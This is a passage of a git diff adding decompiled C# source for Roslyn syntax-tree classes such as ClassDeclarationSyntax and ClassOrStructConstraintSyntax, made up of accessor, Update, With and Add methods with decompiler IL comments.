WithBlock(BlockSyntax block) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Keyword, block); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new CheckedStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + public CheckedStatementSyntax AddBlockAttributeLists(params AttributeListSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithBlock(Block.WithAttributeLists(Block.AttributeLists.AddRange((IEnumerable)items))); + } + + public CheckedStatementSyntax AddBlockStatements(params StatementSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithBlock(Block.WithStatements(Block.Statements.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ClassDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ClassDeclarationSyntax.cs new file mode 100644 index 0000000..c7db715 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ClassDeclarationSyntax.cs @@ -0,0 +1,536 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ClassDeclarationSyntax : TypeDeclarationSyntax +{ + private SyntaxNode? attributeLists; + + private TypeParameterListSyntax? typeParameterList; + + private ParameterListSyntax? parameterList; + + private BaseListSyntax? baseList; + + private SyntaxNode? constraintClauses; + + private SyntaxNode? members; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public override SyntaxToken Keyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ClassDeclarationSyntax)(object)((SyntaxNode)this).Green).keyword, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public override SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ClassDeclarationSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public override TypeParameterListSyntax? TypeParameterList => ((SyntaxNode)this).GetRed(ref typeParameterList, 4); + + public override ParameterListSyntax? ParameterList => ((SyntaxNode)this).GetRed(ref parameterList, 5); + + public override BaseListSyntax? BaseList => ((SyntaxNode)this).GetRed(ref baseList, 6); + + public override SyntaxList ConstraintClauses => new SyntaxList(((SyntaxNode)this).GetRed(ref constraintClauses, 7)); + + public override SyntaxToken OpenBraceToken + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken openBraceToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ClassDeclarationSyntax)(object)((SyntaxNode)this).Green).openBraceToken; + if (openBraceToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)openBraceToken, ((SyntaxNode)this).GetChildPosition(8), ((SyntaxNode)this).GetChildIndex(8)); + } + } + + public override SyntaxList Members => new SyntaxList(((SyntaxNode)this).GetRed(ref members, 9)); + + public override SyntaxToken CloseBraceToken + { + get + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken closeBraceToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ClassDeclarationSyntax)(object)((SyntaxNode)this).Green).closeBraceToken; + if (closeBraceToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)closeBraceToken, ((SyntaxNode)this).GetChildPosition(10), ((SyntaxNode)this).GetChildIndex(10)); + } + } + + public override SyntaxToken SemicolonToken + { + get + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken semicolonToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ClassDeclarationSyntax)(object)((SyntaxNode)this).Green).semicolonToken; + if (semicolonToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)semicolonToken, ((SyntaxNode)this).GetChildPosition(11), ((SyntaxNode)this).GetChildIndex(11)); + } + } + + public ClassDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken openBraceToken, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, modifiers, keyword, identifier, typeParameterList, ParameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken); + } + + internal ClassDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 4 => ((SyntaxNode)this).GetRed(ref typeParameterList, 4), + 5 => ((SyntaxNode)this).GetRed(ref parameterList, 5), + 6 => ((SyntaxNode)this).GetRed(ref baseList, 6), + 7 => ((SyntaxNode)this).GetRed(ref constraintClauses, 7), + 9 => ((SyntaxNode)this).GetRed(ref members, 9), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 4 => typeParameterList, + 5 => parameterList, + 6 => baseList, + 7 => constraintClauses, + 9 => members, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitClassDeclaration(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitClassDeclaration(this); + } + + public ClassDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken openBraceToken, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || keyword != Keyword || identifier != Identifier || typeParameterList != TypeParameterList || parameterList != ParameterList || baseList != BaseList || constraintClauses != ConstraintClauses || openBraceToken != OpenBraceToken || members != Members || closeBraceToken != CloseBraceToken || semicolonToken != SemicolonToken) + { + ClassDeclarationSyntax classDeclarationSyntax = SyntaxFactory.ClassDeclaration(attributeLists, modifiers, keyword, identifier, typeParameterList, parameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return classDeclarationSyntax; + } + return classDeclarationSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override MemberDeclarationSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new ClassDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, Keyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override MemberDeclarationSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new ClassDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, Keyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override TypeDeclarationSyntax WithKeywordCore(SyntaxToken keyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithKeyword(keyword); + } + + public new ClassDeclarationSyntax WithKeyword(SyntaxToken keyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, keyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax WithIdentifierCore(SyntaxToken identifier) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithIdentifier(identifier); + } + + public new ClassDeclarationSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override TypeDeclarationSyntax WithTypeParameterListCore(TypeParameterListSyntax? typeParameterList) + { + return WithTypeParameterList(typeParameterList); + } + + public new ClassDeclarationSyntax WithTypeParameterList(TypeParameterListSyntax? typeParameterList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Identifier, typeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override TypeDeclarationSyntax WithParameterListCore(ParameterListSyntax? parameterList) + { + return WithParameterList(parameterList); + } + + public new ClassDeclarationSyntax WithParameterList(ParameterListSyntax? parameterList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Identifier, TypeParameterList, parameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax WithBaseListCore(BaseListSyntax? baseList) + { + return WithBaseList(baseList); + } + + public new ClassDeclarationSyntax WithBaseList(BaseListSyntax? baseList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Identifier, TypeParameterList, ParameterList, baseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override TypeDeclarationSyntax WithConstraintClausesCore(SyntaxList constraintClauses) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithConstraintClauses(constraintClauses); + } + + public new ClassDeclarationSyntax WithConstraintClauses(SyntaxList constraintClauses) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Identifier, TypeParameterList, ParameterList, BaseList, constraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax WithOpenBraceTokenCore(SyntaxToken openBraceToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithOpenBraceToken(openBraceToken); + } + + public new ClassDeclarationSyntax WithOpenBraceToken(SyntaxToken openBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, openBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override TypeDeclarationSyntax WithMembersCore(SyntaxList members) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithMembers(members); + } + + public new ClassDeclarationSyntax WithMembers(SyntaxList members) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, members, CloseBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax WithCloseBraceTokenCore(SyntaxToken closeBraceToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithCloseBraceToken(closeBraceToken); + } + + public new ClassDeclarationSyntax WithCloseBraceToken(SyntaxToken closeBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, closeBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax WithSemicolonTokenCore(SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithSemicolonToken(semicolonToken); + } + + public new ClassDeclarationSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, semicolonToken); + } + + internal override MemberDeclarationSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new ClassDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override MemberDeclarationSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new ClassDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } + + internal override TypeDeclarationSyntax AddTypeParameterListParametersCore(params TypeParameterSyntax[] items) + { + return AddTypeParameterListParameters(items); + } + + public new ClassDeclarationSyntax AddTypeParameterListParameters(params TypeParameterSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + TypeParameterListSyntax typeParameterListSyntax = TypeParameterList ?? SyntaxFactory.TypeParameterList(); + return WithTypeParameterList(typeParameterListSyntax.WithParameters(typeParameterListSyntax.Parameters.AddRange((IEnumerable)items))); + } + + internal override TypeDeclarationSyntax AddParameterListParametersCore(params ParameterSyntax[] items) + { + return AddParameterListParameters(items); + } + + public new ClassDeclarationSyntax AddParameterListParameters(params ParameterSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + ParameterListSyntax parameterListSyntax = ParameterList ?? SyntaxFactory.ParameterList(); + return WithParameterList(parameterListSyntax.WithParameters(parameterListSyntax.Parameters.AddRange((IEnumerable)items))); + } + + internal override BaseTypeDeclarationSyntax AddBaseListTypesCore(params BaseTypeSyntax[] items) + { + return AddBaseListTypes(items); + } + + public new ClassDeclarationSyntax AddBaseListTypes(params BaseTypeSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + BaseListSyntax baseListSyntax = BaseList ?? SyntaxFactory.BaseList(); + return WithBaseList(baseListSyntax.WithTypes(baseListSyntax.Types.AddRange((IEnumerable)items))); + } + + internal override TypeDeclarationSyntax AddConstraintClausesCore(params TypeParameterConstraintClauseSyntax[] items) + { + return AddConstraintClauses(items); + } + + public new ClassDeclarationSyntax AddConstraintClauses(params TypeParameterConstraintClauseSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithConstraintClauses(ConstraintClauses.AddRange((IEnumerable)items)); + } + + internal override TypeDeclarationSyntax AddMembersCore(params MemberDeclarationSyntax[] items) + { + return AddMembers(items); + } + + public new ClassDeclarationSyntax AddMembers(params MemberDeclarationSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithMembers(Members.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ClassOrStructConstraintSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ClassOrStructConstraintSyntax.cs new file mode 100644 index 0000000..cfc7f80 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ClassOrStructConstraintSyntax.cs @@ -0,0 +1,91 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ClassOrStructConstraintSyntax : TypeParameterConstraintSyntax +{ + public SyntaxToken ClassOrStructKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ClassOrStructConstraintSyntax)(object)((SyntaxNode)this).Green).classOrStructKeyword, ((SyntaxNode)this).Position, 0); + + public SyntaxToken QuestionToken + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken questionToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ClassOrStructConstraintSyntax)(object)((SyntaxNode)this).Green).questionToken; + if (questionToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)questionToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public ClassOrStructConstraintSyntax Update(SyntaxToken classOrStructKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(classOrStructKeyword, QuestionToken); + } + + internal ClassOrStructConstraintSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitClassOrStructConstraint(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitClassOrStructConstraint(this); + } + + public ClassOrStructConstraintSyntax Update(SyntaxToken classOrStructKeyword, SyntaxToken questionToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (classOrStructKeyword != ClassOrStructKeyword || questionToken != QuestionToken) + { + ClassOrStructConstraintSyntax classOrStructConstraintSyntax = SyntaxFactory.ClassOrStructConstraint(Kind(), classOrStructKeyword, questionToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return classOrStructConstraintSyntax; + } + return classOrStructConstraintSyntax.WithAnnotations(annotations); + } + return this; + } + + public ClassOrStructConstraintSyntax WithClassOrStructKeyword(SyntaxToken classOrStructKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(classOrStructKeyword, QuestionToken); + } + + public ClassOrStructConstraintSyntax WithQuestionToken(SyntaxToken questionToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(ClassOrStructKeyword, questionToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/CollectionElementSyntax.cs 